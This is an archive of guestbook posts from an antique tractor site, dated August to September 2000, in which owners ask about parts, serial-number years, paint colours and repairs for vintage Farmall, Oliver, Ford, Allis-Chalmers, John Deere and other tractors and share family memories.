charlie wrote on Monday, September 11, 2000 (PDT):hi ! about a year ago i started rebuilding my oliver 60 row crop. you have my article. maybe six mo. ago i purchased a steering wheel from you. the wheel has open spokes, as in just the outer wheel is covered, i returned , no problem. now i want to know if you can get the wheel like mine. all the wheel is covered. their is a center which is open where a metal cap , like a horn button on a car, goes. the tractor is 95% back too original, cloth wires, all body parts. etc. this wheel is my problem . if you don't have it can you steer me somewhere where it might be ? also looking for the 6" head lite ring. it holds the lense on the lamp. i have one but it fell off, got ran over and flattened out. you could save me some tin knocking if could find one. thanks charlie !!!
Don Holden, Genoa City, Wisconsin wrote on Monday, September 11, 2000 (PDT):Hey Cub Fans, I have a 1950 cub that I just equipped with a 12" fast hitch plow. The tractor doesn't have enough muscle to pull it even in low gear. What could be the problem? Under normal conditions will a Cub handle a 12" fast hitch plow in previously worked soil. I am very disappointed so far in my attempts. Any ideas on what could be my problem.
Delbert Robbins wrote on Monday, September 11, 2000 (PDT):I am looking for clutchs for a T340 gas IH crawler Tractor I do not know the year
Ric Wells wrote on Monday, September 11, 2000 (PDT): I have 2 1937 WC's. One for mowing and one for shows. Looking for a WD45 crank shaft to install in the show tractor for more pulling power. Anyone have one laying around?? I live in Central Ohio.
David k. Enns wrote on Sunday, September 10, 2000 (PDT): As a young lad in the 50's I had the great fortune to grow up on a WD45. This was one of the fondest memories of my youth.
Matt Mathis wrote on Sunday, September 10, 2000 (PDT):I have a Diesel Super 55 that I have enjoyed for about 5 years on my property in northern California. I almost cried this Saturday when I apparently blew the ring and pinion. I blocked it up and will begin tear down. Any help on where I can get parts will be greatly apperciated. My 55 has a front loader and a "Pippin" Back Hoe attachment. I can't live without it. Help.
tim steen wrote on Sunday, September 10, 2000 (PDT):If anyone can help out i need a supplier and or specs on ford tractor 9n 2000 ford dagnum blue. It seems very hard to get information on this paint coding. Also could use a paint chip number for this color. Please email me if anyone can assist. tks tim
Robert Joy wrote on Saturday, September 09, 2000 (PDT):I have a D-15 series II. We also have a 175 both are good tractors and are used around the still. Although the 175 is getting tired. My dad had these as long as i can remember and he passed away 2 years ago and in his memory we`ll keep them going. I personally love the D-15 she may be old but like timex says keeps on ticking.
jeremy smith wrote on Saturday, September 09, 2000 (PDT):I grow up drivin red the only tractor i like is this nice 1066 i need help findin one in my area.
Paul Stimpert wrote on Saturday, September 09, 2000 (PDT):I recently purchased an m series and having some transmission problems. The tractor will not changfe gears but the shifter and clutch work, any one with info to this your help would be apperiated.
Lisa Flattery wrote on Saturday, September 09, 2000 (PDT):I am looking for any information on the Farmall "M" Demonstrator Model built in 1945. Any information would be greatly appreciated! I know there weren't very many built and they were painted White, and when they were sold they were to be painted IH Red. Any information, pictures, or contacts would be very helpful!
Roger Rowe wrote on Saturday, September 09, 2000 (PDT):I have a Oliver 770 Row Crop gas engine. Would anyone happen to know what year this serial number is 81-921-736? I can't seem to find the year of this tractor.
Samuel Wert wrote on Saturday, September 09, 2000 (PDT):I'm looking for sheet metal and fenders for a Massey Harris 81 tractor. If you can help. Thank you
jane conger-low wrote on Saturday, September 09, 2000 (PDT):Have a WD45 aLLIS cHAMLERS IN GREAT WORKING ORDER. aPPEARS TO HAVE HAD ONE FRONT WHEEL WHEN BUILT ND A KIT FOR THE TWO FRONT WHEELS WAS ATTACHED BY THE ORIGINAL OWNER. HAVE TO ORIGNINAL MANUAL AND BILL OF SALE. THE TRACTOR IS BEING USED WITH A 5 FOOT BLADE FOR CLEARING THE SNOW FROM THE DRIVE. IT ALSO PULLSD A CULTIVATOR TO CLEAR THE WEEDS FROM THE BEACH IN THE SUMMER. THE ONLY PROBLEM IS THAT THIS PARTICULAR TRACTOR ONLY HAS ONE SET OF HYDRAUICS WHEICH WE SWAP DEPENDING IF WE ARE USING THE BLADE/CULTIVATOR. MY ? IS I HAVE A TILT BUCKET FOR THE FRONT BUT DO NOT HAVE THE ANY OF THE SET UP. ON THE FRONT HYDRAULICS THERE IS A SMALL LEVER THAT WOULD HAVE TO BE ADAPTED TO ALLOW THE DRIVE TO DUMP THE LOAD. CAN ANYONE GIVE ME A HINT/DRAWING OF WHT I SHOUD BE LOOKING AT- HOW ONE CAN BUID THEIR OWN TILT MECHANISM FROMTHE DRIVER TO THE BUCKET??
Marcus Lowenthal wrote on Saturday, September 09, 2000 (PDT):I to colcect Farmall tractors but have never seen a Hi Crop Farmall before. yours is in fantastic condition. If you could send me a picture without the other tractos in the background it would be wondifful Thankyou.
nicholas tsimekles wrote on Friday, September 08, 2000 (PDT):I have a super dexta, it's hard starting and i'm afraid it needs a rebuild. ay sugestions on where to go for parts. It smokes but still pulls strong. The fuel pump to injector pump conection started to leak. the mounting surface was cracked. My father replaced it with an electric fuel pump. solved that problem. I;ve had the hydraulics apart and it's a pretty straight forward unit, not as complex as the david brown 990 in the yard.
farmallkid wrote on Friday, September 08, 2000 (PDT):hi all you farmall b fans i just purchased my second b . I have not checked the seriel number . The engine is stuck and i have three flat tires. My plans are to overhual the engine,put in new seals,new paint job. My brother and i pull in tractor pulls with are 1944 b .We pull in the 2500 LBS class.We can pull a 2/14 slotted plow in are soil in second gear ,with pletty of power. We restored a HI 2 bottom slotted plow just for our b. The hitch is black the main beams are red the axels are blue the beams that go down are blue the wheels are cream. Have fun with your Bs.
Robert Vale, Moncton NB Canada wrote on Friday, September 08, 2000 (PDT):I have an International 300 Utility which needs the casting that holds the three point hitch assembly to the tractor. It bolts on behind the seat. Can anybody help me source this? Rest of tractor is in great shape.
o tool wrote on Friday, September 08, 2000 (PDT):arbie serial no on later tractors right handside of engine other no on gear box and back axle p2x is december
nita cameron wrote on Friday, September 08, 2000 (PDT):my dad left me a1939 f20 when he passed away. he had put a1950flatheadv8 on it for setting tobacco so it would be geared very low.my husband&i are restoring it. for parades&showesi nedd to know where the decals all go can anyonehelp
DAVE wrote on Thursday, September 07, 2000 (PDT):DOES ANYONE HAVE OR HEARD OF A WD35?
Vic Libby wrote on Thursday, September 07, 2000 (PDT):I have a 1936 L case on steel that my father bought new. It farmed over 200 acres, powered the saw mill, and went on the road thrashing, for over 30 years before retiring to newer equipment. It would be interesting to know how many thousand hours are on it. It was magered once in the fiftys and it still runs like new.
Timo wrote on Thursday, September 07, 2000 (PDT):There seems to be some wrong imformation about the manufacturing years of Fordsons in the previous messages. Here is some info about them (which should be correct); The "old" Fordson Major was produced in years 1945-1951. In -51 they started to make the "new" Major (only few was made in 51). It had ca. 40 hp. In 1958 came Dexta (smaller version of Major) and Power Major (more powerful version of Major, ca. 50 hp). The Super Major (and Super Dexta?) came in 1961. Super M. had orange wheels (like all the other models) but they were changed later (62-63?) into white (or grey) colour. In 1964 (?) they stopped making Fordsons and the new models were; Ford Dexta 2000, Ford Super Dexta 3000, Ford Major 4000 and Ford Super Major 5000. They were blue/grey.
Mike Ball wrote on Wednesday, September 06, 2000 (PDT):I just bought a 1945 9N . Has a new paint job and looks pretty good...After taking delivery I've noticed fluid comming from the left rear wheel. How hard of a job is it to do a brake job and probably replace the rear seal? I will have to check to make sure its a 45 the plate with info on it in front of steering column was covered with paint . also came with a 2 bottom plow . as with the tractor it information plate was covered in paint. going to check around and see. the engine has been rebuilt and converted to a 12volt system. it also has a ferguson system on it, if it still works? going to play with if for a while and see .If anyone knows any web sites where i can look for info or parts let me know?thanks....
Chuck Petrie wrote on Wednesday, September 06, 2000 (PDT):Hi! I have a Leader tractor, Model B (Serial #47202) with a Hercules engine. I'm looking for a gearshift lever assembly for it. According to the Leader tractor parts manual I have, the part number is 47332. Does anyone have a gearshift for sale or know where I can find one. Thanks.
Pekar Wood wrote on Wednesday, September 06, 2000 (PDT):WD45's rule. Mine is bettar than yours.
Tim wrote on Wednesday, September 06, 2000 (PDT):This tractor is a piece of junk.
Brion Hackbarth wrote on Wednesday, September 06, 2000 (PDT):I have to comment that all red power tractors are the best tractors ever made. The 66 series tractors to me are the best looking tractors out their even today. I have only farmed with red power tractors such as a H, 300, 560, 706, 756, 856, (My Favorite), and 1086. These are tractors we have on our farm. I can attest to you that by operating these awesome machines that their is no reason to operate any other. The IH engines is what made the tractor, because they had the best diesel engine on the market at the time. I just want to know who bought the engine works plant of IH. I know Tenneco bought IH farm equipment, but am wondering if the IH engine legacy is still thriving in another engine maker?
jim fisher wrote on Wednesday, September 06, 2000 (PDT):does anybody know how many single cyl samson tractors there is still in the world. also does anybody know where to get information on the carburator or fuel.
russ p wrote on Tuesday, September 05, 2000 (PDT):Im trying to locate a good used bench seat to replace the pan seat on my 140,also im trying to find a decal set to complete my restoration.
Charlie Meakin wrote on Tuesday, September 05, 2000 (PDT):I agree with all the other posts,I just purchased a 1947 M,I have several other tractors but the Farmall M is my favorite.
G.Rainey wrote on Tuesday, September 05, 2000 (PDT):The John Deere "G" sound is close to the sound of a Harley Motorcyle that's how I got invlved with the "G"'s. I the time my son was sixteen years old and I was afraid he would get the Harley out and have an accident,so to satisfy myself I purchased a 1948 John Deere "G" but one wasn't enough today my son and I have two unstyled "G"'s and three styled "G"s one which is a puller which is highly modified and a great puller. All the "G"s make some fine two cylinder music,you know no two "G"'s sound alike. Every old "G" I come across I want to drag it home and restore it,only one of my "G"'s isn't restored.
Robert Young wrote on Monday, September 04, 2000 (PDT):I am in the Thornbury Vintage Tractor club, we have a Samson tractor, it is painted grey you will find that you will probably have trouble with the clutch as that it wont functoin right. If it does could you contact me.
rhonda wrote on Monday, September 04, 2000 (PDT):grandpa, I bought bought a Leader for $75. b/c I thought it might be worth soemthing b/c I have never seen one. Come to find out they are hard to find but not really worth anything that much. It just wasn't a big name in the tractor business I guess. I have seen some sell on the internet for $400-$600 maybe a little more. I'm not real sure. But you can always say you have something that not to many other people have. If you know where some parts can be located for one please let me know. Good luck.
Patti Peterson wrote on Monday, September 04, 2000 (PDT):Does anyone know what a Massey Harris 44 tractor in excellent condition complete with 3 point hitch ...early 1950's we think... is worth in Canadian dollars? It's a gas tractor.
Larry D. Smith wrote on Monday, September 04, 2000 (PDT):I have an older model allis chalmbers D-17 diesel tractor. I would like to convert the snap cuppler hitch to a standard 3 point hitch. Does anyone know of anyplace where I can puchase the standard 3 point hitch or a web site? Thanks, Larry
Duane Elsberry wrote on Monday, September 04, 2000 (PDT):I have a TO35 with serial number SGMI7700I3. I am not sure if the "I" is a "1". I would like to know the orginal color names and numbers, where they are used and if there is a manual with color photos. I am needing a tach cable, generator drive and a a lower radiator cover with the crank hole. Any information would be appreciated
Gary Arnold wrote on Sunday, September 03, 2000 (PDT):I have a 48-49 Oliver RC70 that we purchased in '54 in Minnesota. When my stepfather died I brought the tractor to Alabama intending to restore it. I have not restored it and probably will not. I'd sell it if the price was right. The grill pieces are missing. I have the side curtains for the engine compartment and I have a "buck saw" that mounts on the tractor. We used it to cut up firewood. We used it for farming, pulled an 18' breaker plow and broke ground on around 70 acres that had not been worked in years. We had trouble with it burning valves and split the manifold on the 6 cylinder to reduce the heat build-up. I have it now in Elkmont, AL. It's not running now. Needs engine work.
Joseph McGovern wrote on Sunday, September 03, 2000 (PDT):I have a Harry Ferguson Tractor with a Pippin backhoe and a Lord front loader. The Tractor serial# is TO-130561 and i am looking for any info i can get. I also need an exhaust manifold for the Continental Motor it has in it. Thank you for your help.
bill garman wrote on Sunday, September 03, 2000 (PDT):i am in need of a three point hitch convertion for a wd45 allis chalmers please help me asap
John Dawson wrote on Sunday, September 03, 2000 (PDT):I have a McCormick 560 L.P.gas with wide front end. Where do I look to find the serial number? The L.P. tank was made in Lubbock Tx. in 1959. Model #S10321HC for IH # 371775R91, but no tractor serial number. I need to know where I can get a manual so I can fix the machine. It just quit one day coming back from shredding a small pasture. I think it is electrical but don't know a thing about it. Need help! Great running machine, I just don't know what I have.
C. L. Dalseide wrote on Saturday, September 02, 2000 (PDT):I just purchased at auction a 1932 Case L s/n 302582. Don't know yet if it's sound or not. Will be trying to start it next weekend at Dalton, MN threshing show. Giving it new plugs and wires. Has cut-off wheels and tires. Spent it's working life in Manitoba. Missing seat and seat spring. Bought it as-is. Spent less than I would want to go up and haul it back, having done that once before. My first impression is that it's a solid, honest looking design. So much so, that you could call it nondescript. Purely functional. Kind of like a military truck. Only other I remember nearby was at Grand Rapids, MN threshing show. I also have an RC Case s/n 4404848. Now, there you have style and distinction.
L E Headrick wrote on Saturday, September 02, 2000 (PDT):In my early teens, when the 'M' was fairly new I operated one for a few days on the Lillard Farm near Benton, TN., and worked for Roy B. Bates who leased the farm. Of course at that time and at my age I was "king" sitting atop that giant machine. I do recall those days fondly, however. LEH
Ellis Weicht wrote on Saturday, September 02, 2000 (PDT): URGENT-ASSISTANCE NEEDED IMMEDIATELY!!!! I have a tractor that says Fordson Dexta across the grill and then it says Ford 2000 on the sides of the hood, my problem is this; how do I tell if its a Fordson Dexta or a Fordson Super Dexta without tearing it apart, is there a serial number list or something that could tell me what I have. Any help would be greatly appreciated.
Chris Hunter wrote on Saturday, September 02, 2000 (PDT):I am looking to purchase a model G with cultivator. Does anyone know what other implements are available for this tractor such as mower, bucket, blade, etc. Was a 3 piont hitch available. Are there any books or magazines that would have information about this tractor. Any help would be greatly appreciated.
Walter wrote on Saturday, September 02, 2000 (PDT):I have a Super M serial number F-31027-J and a friend has one with serial number F-40203-J. Could any one tell me the year of these tractors and any other information about them. I also have a M for sale that we just finished sawing 12 square of cedar shingles with. Looks and runs very good.
marty webb wrote on Saturday, September 02, 2000 (PDT):I grew up on a farm with john deeres we had a model b, 70, 3020, and 4020d, am moving back up to upstate ny in five years and start up a collection of 2cylinder john deeres. the 50 replaced the b, 60 the a and 70 the g
Bruce McIntosh wrote on Saturday, September 02, 2000 (PDT):Re; 1955 International 300 Utility Tractor My father and I have partly restored this model of tractor. We found it on the side of the road and brought it home. We have rebuilt the motor with pistons, rings, and seal kits. We still have a ways to go to finish. We find that the steering is loose and the hydraulics have a grinding noise but still work. I plan to finish the rest of the repairs to make everything operational and then paint it. I still need some quick hitch parts, and a front grill in good shape if anyone has any comments or suggestions I would appreciate hearing them. Bruce McIntosh
jared schmelzenbach wrote on Friday, September 01, 2000 (PDT):i found a 1930 massey-harris general purpose in an old building on 200 acres behind my house if anyone knows if this tractor is of any value i would like to know because the place hasnt been visited in years so i would like to know that way i couls contact the owner and try and buy it
Jeff wrote on Friday, September 01, 2000 (PDT):I have an 871 SOS desiel. I've owned it 5 years with no problems. It has a "Superior" loader mounted on it. Great tractor for loader work. I'm looking for good place to get parts (like the proofmeter). I'm unsure of the year. The center of the hood and frame are red. The rest is gray.
Grant Chambers wrote on Friday, September 01, 2000 (PDT):I am restoring a 1929 John Deere D. Can someone please tell me what spark plugs to use in this tractor?
Juha Kaitanen wrote on Friday, September 01, 2000 (PDT):There is this type of IHC tractor here in Finland. It is said that it is from 1921. The owner needs spark plugs for the tractor. Do you know where to get them? What type of spark plugs are suitable for this model of IHC? Best wishes Juha Kaitanen Turku, Finland
Josh wrote on Thursday, August 31, 2000 (PDT):Anything in the 66 series rules but the 14 is the best. We've used our 1466 to pull semis and other vehiles out of ditches. A great tractor.
Gary Gray wrote on Wednesday, August 30, 2000 (PDT):We have a CASE 1943, Model DIO. We are looking for information how to restore this tractor to it's original appearance. Does anybody has information, pictures? What color was it?
Gene Wirsig wrote on Wednesday, August 30, 2000 (PDT):My grandpa bought a GP new in 1935 (I think) but traded it in on a model 25 in 1937. The model 25 was a good tractor, but I wish he'd kept the GP.
John A. wrote on Wednesday, August 30, 2000 (PDT):Chris, Go For IT ! Go to a farm sale , equipment dealer, or wherever you can find a big ol'red darlin just like what your lookin for and get it. Take it home, move the wife's mini van out of the garage, then GET after it!......Even if you don't pull her at a local contest NO one else will have one on your block like her. You could park her in your yard, Tractors make great lawn ornaments you know, plus I promise you will be the talk of the home owners assa. Good Luck !
Steve Olson wrote on Wednesday, August 30, 2000 (PDT):Hello all! I've had my 9N for about 7 years, and have done quite a bit of work on it. I hope to answer and ask a few questions... For many who asked, the original color of the 9N was all grey. Many people, including the previous owner of mine, painted them like an 8N, white hood & fenders, red drivetrain. They're sometimes nicknamed "Red Belly". A good place to start for parts is a Ford tractor dealer. There is also CT (Central Tractor) I have bought parts from them, but about 1 in 4 don't work or fit right and I wind up going to the dealer. You have to be a little careful. Guido and Wayne - the problem with the current leak may be in your ballast resistor connections or your ignition (key) switch. Remember when you're testing, these are 6-volt *negative* systems. Carleton, you may need to check the choke arm to make sure the choke is closing completely. If I don't pull mine out all the way and make sure the butterfly valve is closing completely, mine is hard to start and likes starting fluid. I was accusing it of getting a buzz off the ether. ;) Hitch problems - the hydraulic fluid can get the valves pretty gunked up and then they don't work well. I think I used an automatic transmission fluid "cleaner", moved the levers for awhile, drained the fluid, added new and didn't have any more problems. The mistake a lot of people make is putting gear oil in instead of the proper hydraulic fluid. I hope to visit here and help more. Now, onto my question. My 9N starts fine and runs fine for about 1/2 hour. It will then lose power quickly, misfiring and finally dying within 2 minutes. I then have to wait a few hours 'til she's cooled down and I can use it again. When it's running, it runs great. Must be something related to the engine getting hot but what I don't know. Any help? SteveO
Rick wrote on Wednesday, August 30, 2000 (PDT):I have a D series case tractor, I don't know the year, however I was told it is a 1944. It has a hand clutch, wide front end, and I have totaly restored it. It has new rear tires, brakes, seals, paint, and lots of parts. It has been converted to a 12 volt system. It runs great. I think as heavy duty as it is it would do great in the tractor pulls. Anyway, I am trying to sell it for 1700.00. This is what I have into it in parts. Give me a Call if interested. Willard, Utah 435-734-9826.
Chris Maxwell wrote on Wednesday, August 30, 2000 (PDT):As I sit at my desk, the picture of that old 10 sets me to wanting to be home helping my brother with the hay. Funny how I spent half of my childhood avoiding chores, but would give anything to work on the farm instead of at a desk in a "cube farm". At home, I've worked with a 1066 and a 1256. Sort of like the 1256 (maybe because it had a straight pipe). Would like to see a 1066 and 1256 go drawbar to drawbar. Thought it would be cool to get an old 1256, tune it up, paint it black, name it "4 minutes 'til 1" and go pullin. Maybe someday...
Robert Young wrote on Tuesday, August 29, 2000 (PDT):I am a member of the Thornbury Vintage Tractor and Implement club Southland New Zealand. We have one of these in our club, it has been restored for about 3 years. They are supposed to be painted grey. They also have a funny type of carburator on them, which will have been replaced, you will have trouble trying to find one..
Randy Joline wrote on Tuesday, August 29, 2000 (PDT):Would like to know where I could find a grill for a D-17 series 3. I would appreciate any information. Thank You
Jim Testerman wrote on Tuesday, August 29, 2000 (PDT):I have found an O-12. I would like to know the going price. The serial # is in the 500's, so it was one of the first ones manufactured of this type. The seller and buyer are waiting for your answer. Thanks--Jim
Ronnie Keithley wrote on Monday, August 28, 2000 (PDT):I just purchased a 1947 Farmall Cub Serial#8616, my grandfather had one just like it. My tractor has a 4' IH belly mower and everything works great! I plan a face lift for the cub this winter.
Chuck Seymour wrote on Monday, August 28, 2000 (PDT):I have a WD45 with wide front, 12v, 3 pt hitch. I am in indiana and would like to know the value of this tractor. The engine runs like a top but the gear shifter is sloppy. I was told a common problem with these tractors was the shifter wearing out and causing trans to try and engage two gears at once. I also have another problem with differential. Email me if you can help with info.
Judy wrote on Sunday, August 27, 2000 (PDT):looking to buy a D-12 series 3 Allis Chalmers tractor
Art wrote on Sunday, August 27, 2000 (PDT):I have an oliver 99 my dad got before he died. I am looking for info on it to restore it. Anyone know where I can look to find what I need to get her back in shape?
wade wrote on Sunday, August 27, 2000 (PDT):I own a Supper 77 that is in perfect condition. I look on the web for pictures of my tractor but cannot find any good pictures. Is the Oliver "Supper 77" a rare tractor ?
Syd wrote on Sunday, August 27, 2000 (PDT):I am in dire need of OEM paint numbers or colors for a MH Pacer serial# TGA52309
Shawn Halle wrote on Sunday, August 27, 2000 (PDT):FOR SALE, 1968 International Cub very nice and clean,garage kept. I am the 3rd owner of this tractor. It has a 60" woods belly mower,sickle mower,turn plow,push blade,wheel weights,tire chains,new belts for mowers,new battery,good tires,owners manaul,and attachment manuals to. Ready to work $3500.00 or best offer call 1-304-472-8519
Erin Fox wrote on Saturday, August 26, 2000 (PDT):HELP! I would like to know if anyone knows where I can get a print to be framed of the Allis Chalmer WC model. I just lost my grandfather who was 87 and he farmed religiously with A-C tractors. If anyone knows where I can get at least an 8x10 or 11x16 print of this model, I'd be so greatful! Thanks!!
Donald Pitre wrote on Saturday, August 26, 2000 (PDT):can anyone give me the correct green paint# that goes on a 1928 case threshing machine.Thanks
bill watkins wrote on Saturday, August 26, 2000 (PDT):i inherited my dads 60 tricle on lp gas doesnt have3 pointorlivepto.haspower steering.needs back tires. am now in stalling starter.we love this old tractor.
john lowe wrote on Saturday, August 26, 2000 (PDT):I own two 8-16 kerosene tractors one ia a 1921 in all original runing condition one is a 1918 with the 12 feed oiler it is apart but 95 percent complete. I would sell or trade the 1918 for early cross engine tractors. I also have many parts for 8-16s. I have used my tractor to thresh wheat bail straw cut shingles etc. I have a pretty good knowledge of 8-16 if any needs help please contact me.
H. RICHARD BUCHANAN wrote on Saturday, August 26, 2000 (PDT):I'm in need of short block for ac 160 tractor 3 cyl perkins engine. Might consider used or rebuilt engine. would like to find something close to western north carolina because of freight cost..
steve dean wrote on Saturday, August 26, 2000 (PDT):i have a McCormick farmall cub tractor serial#191429 can you tell me what year model & any other info. you have. thanks bookey
Gideon Yakubovitch wrote on Saturday, August 26, 2000 (PDT):After years of cearching I mannaged to find a beautiful magnificent Allis Chalmers "G" and to import it to Israel from the USA. I am a collector and will be glad to creat contact with anybody who have this unique tractor.
Lynn N. Torske wrote on Friday, August 25, 2000 (PDT):I own a 1952 JD MT which I bought as a young man to mow weeds with. We powered grain augers with it for years until the augers outgrew the tractor. It is now retired except for occasional short jobs and resides inside a bulding. I am looking for a battery box door and a throttle handle for it. Thanks in advance for any help in locating these items.
Tom Railsback wrote on Friday, August 25, 2000 (PDT):We had a 1951 LA with turning brakes on the differntial
Tom Railsback wrote on Friday, August 25, 2000 (PDT):We had a 1951 LA with turning brakes on the differntial
carman sangster wrote on Friday, August 25, 2000 (PDT):I have a crawler dozer 1940 to1948 so i am told .I need final drive wheel {hub} and shaft for the left rear.Lynn z you asked about rear clutches slipping you replaced clutch disks you can also add steel disks it will help i have done this to mine.
carman sangster wrote on Friday, August 25, 2000 (PDT):I have a crawler dozer 1940 to1948 so i am told .I need final drive wheel {hub} and shaft for the left rear.Lynn z you asked about rear clutches slipping you replaced clutch disks you can also add steel disks it will help i have done this to mine.
Tim wrote on Friday, August 25, 2000 (PDT):I'm in a situation to purchase a FORD 2000 "not offset" with a 735 loader and enclosed cab it has 605 hours and has been well maintained and is in good condition. I'm interested in whats a fair price and any pro's and con's of this tractor. Thanks tim
Tim wrote on Friday, August 25, 2000 (PDT):I'm in a situation to purchase a FORD 2000 "not offset" with a 735 loader and enclosed cab it has 605 hours and has been well maintained and is in good condition. I'm interested in whats a fair price and any pro's and con's of this tractor. Thanks tim
Jill Bukowski wrote on Friday, August 25, 2000 (PDT):I am a graphic artist in Waco, Texas. Every year in Temple there is an antique tractor show, and for the last few years I have been designing the t-shirts to be sold. This year the group wants a 1935 Row Crop, Oliver Hart-Parr on the front. The pictures they gave me to go by don't have much contrast, and not having a background in tractors it is hard for me to just guess it in. I was wondering if anyone had any clear photos of that model tractor, and if so would a photo-copy be out of the question?
Jill Bukowski wrote on Friday, August 25, 2000 (PDT):I am a graphic artist in Waco, Texas. Every year in Temple there is an antique tractor show, and for the last few years I have been designing the t-shirts to be sold. This year the group wants a 1935 Row Crop, Oliver Hart-Parr on the front. The pictures they gave me to go by don't have much contrast, and not having a background in tractors it is hard for me to just guess it in. I was wondering if anyone had any clear photos of that model tractor, and if so would a photo-copy be out of the question?
TL Fisher wrote on Friday, August 25, 2000 (PDT):We have an B and HN and would like to find a reliable source for replacement parts. They run good but the sun has taken it's tole on some of the parts. Would like to find out more on what implements fit this tractor. Any suggestions or information would be greatly appreciated as it needs to be doing something other than pulling a hay wagon. I would like to restore these slowly over a two year period. Needs a radiator cap for starters. email me with suggestions if you have the time...tbwotmts at aol.com
TL Fisher wrote on Friday, August 25, 2000 (PDT):We have an HN and B and would like to find a reliable source for replacement parts. It runs good but the sun has taken it's tole on some of the parts. Would like to find out more on what implements fit this tractor. Any suggestions or information would be greatly appreciated as it needs to be doing something other than pulling a hay wagon. I would like to restore it slowly over a two year period. Needs a radiator cap for starters. email me with suggestions if you have the time...tbwotmts at aol.com
Dan Schloesser wrote on Friday, August 25, 2000 (PDT):I have a cub with hydraulics, implements include a sickle mower, blade and plow. I primarily use the tractor for snow and for leveling the lane and pulling a small wagon. The sickle mower has sat in the barn for a long time and I want to use it but can't remember exactly how to install the darn thing! Can someone provide some pictures or details on how to install the mower to the tractor. Thanks!
Lee Peacock wrote on Thursday, August 24, 2000 (PDT):I have a TD40 and I need to know how to adjust the brake and clutch. if any one out ther know the secret let me in on it please. thank you
Lee Peacock wrote on Thursday, August 24, 2000 (PDT):I have two T20 one is parts one TD35 as a parts tractor and a TD40. I don't know the years .the serial no should get the year if I can fiend the place to go to
Orest Beztilny wrote on Thursday, August 24, 2000 (PDT):When I was growing up on a farm in western Canada we first had a Oliver 77 then traded up for a new Oliver Standard 88. The tractor proved to be very versitile & reliable.Today the tractor is still in use. A neighbor purchased it and uses it regularly.They were a great tractor and brings back many fond memories from my youth.
Matt wrote on Thursday, August 24, 2000 (PDT):I have the oppertunity to purchase an Int. 350U with loader and Backhoe. Starts right up, hydraulics work, tires pretty worn, no muffler, paint beyond shot (repainted once and peeling off in sheets) They are asking $2900. Is this reasonable? I just want something inexpensive to dig and pull stumps etc... plan on putting up a pole barn soon so I want something soon.
Josh wrote on Thursday, August 24, 2000 (PDT):I love Ms. They are the greatest to drive. We have one at the camp i work at and it gets put to good usedoing a variety of chores. It's one of the greatest tractors ever built.
Tom Shappell wrote on Thursday, August 24, 2000 (PDT):Hello to all of you! I am brand new to this antique tractor hobby, as I have just inherited my father's 'Ferguson TO series'. Ser # 45510, my dad has used this tractor for 32 years strictly for side-bar mowing, and it is all original. Oil pressure drops to red zone after a bit, and I need to know if this requires a total overhaul. I am located in Berks Co., PA, and would be happy to hear from someone as to where I may take my Fergy for service. Also, I need an operators manual! Any and all help would be greatly appreciated! Thankyou.
BRAD WARD wrote on Thursday, August 24, 2000 (PDT):I just finished restoring my grandfathers 77 that he bought new in 1950. It's a lot of fun to show and play with on the farm. I belong to the Midwest Oliver Collectors and collect and use only oliver equipment on the farm. I have met many nice people that have quite interesting stories about each piece of equipment that I have collected. Thought you might be interested and if I could help give me a call. Brad from Illinois.
Mason Brooks wrote on Thursday, August 24, 2000 (PDT):I have one that looks like the photo except my exhaust goes down from the manifold and goes to the rear of the tractor. I don't know what year it is. I would really like to know more about this tractor.
jw- wrote on Wednesday, August 23, 2000 (PDT):Just bought a 460 gas tractor. It was been rebuilt by a young farmer then his bank sold him out. I guy I got it from wanted to keep it but financial crunch, recent surgery, has forced him to sell. I was lucky enough to get it for myself. I have been surfing the net looking for more info on this unit. Have found some but looking for more. If anyone knows of any goods sites on the 460 by all means I would appreciate your comments.
Robert wrote on Wednesday, August 23, 2000 (PDT):Hope this helps out for all of the posts asking about the location of the serial number for the WC. It is on the rear of the rear end housing. It should be "WC" followed by the serial number. It is genarally not too difficult to find the location of the serial numbers. There is a smooth place on the rear end housing where the numbers were stamped. I take a wire brush with me when I am looking at one to buy so I can brush the rust off of the number to make it easier to read. Then wetting it down with a litle bit of water to wash off the dust created by the wire brush makes the numbers easier to read.
John Cotton wrote on Wednesday, August 23, 2000 (PDT):I really like the T20 in the picture. I have a TD40 it is running on gasoline and we will soon try her on diesel. The engine is in good order but tracks and rollers will need some work I will get new panels and hood made a coat of paint and she'll be like new. Is there any other sites on these tractors I can't find any.
John Cotton wrote on Wednesday, August 23, 2000 (PDT):This looks like a nice old machine. I have a TD 40 wide tread model no serial number plate unfortunatly but there is a date stamped on the crankcase behind the diesel pump (11 15 34) would this be when the engine was made. We have the engine running on Gasoline almost ready to try her on diesel. A lot of restoration to do mainly on under carage. Is there any other sites with Mc Cormick TracTractors I can't find any.
Andy wrote on Tuesday, August 22, 2000 (PDT):My grandpa had I think it was a MD. I rember the cast Farmall plate on the grille and dad tells me it was Diesel. I know it was an M beacause it was big. Hey, how much more power did the super have (hp.)? 30% can't be much.
Sam L. Smith wrote on Tuesday, August 22, 2000 (PDT):My father owned a "K" prior to buying a model "L" in 1937. he drove to Indianapolis to pick it up. My brother finally traded it off to a Case dealer for a quick hitch to go on our 1370. The dealer really wanted the old L. The dealer is now out of business but still has the tractor minus the front end. We've also owned a CC, DC, 300, 400, 1030, 1070 and 1370. I still have the 300 (1956 GD 157 Diesel) and the 1070. If anyone can help me find a water pump for the 300 I really would appreciate it. Parts are scarce because it had the GD 157 Continental engine. The patents ran out years ago. Please call me at 270-333-2458 after 6;00pm if you have this part or know where I can get it.. I'll gladly pay for the call.
Russell Swize wrote on Tuesday, August 22, 2000 (PDT):This model of tractor has been in our family since the late 50's and is still going strong today.
Jeff Ellis wrote on Tuesday, August 22, 2000 (PDT):I have a John Deere 420T. It has a serial number of 125423. I would like to know what year it is. Also if anyone has parts for sale please email. I have looked on yesterdaystractors.com but can't match the serial number with what they have. jeffnkim at bully.net, Tomnolen, MS
Fred wrote on Tuesday, August 22, 2000 (PDT):this tractor looks to be a to35 with a to20 hood
Blake Tucker wrote on Monday, August 21, 2000 (PDT):Im restoring a 1951 model d and im having a very hard time finding any information on this tractor, can any one help, your help would be greatly rewarding to me thanks bigt.
Anthony Campbell wrote on Monday, August 21, 2000 (PDT):I am looking for a John Deere crawler tractor with or without front blade to mow some steep hillsides in northeast Tennessee.
mhopper wrote on Monday, August 21, 2000 (PDT):I just bought an MT. I don't know the year of my tractor (serial # ends 41) or the years of production for the MT. I would like to know if anyone can give me years of production as well as the value of an MT that is in EXCELLENT mechanical shape and has not been restored, yet the original paint is in very good condition. Battery cover is still in place as well as the cover for the PTO.
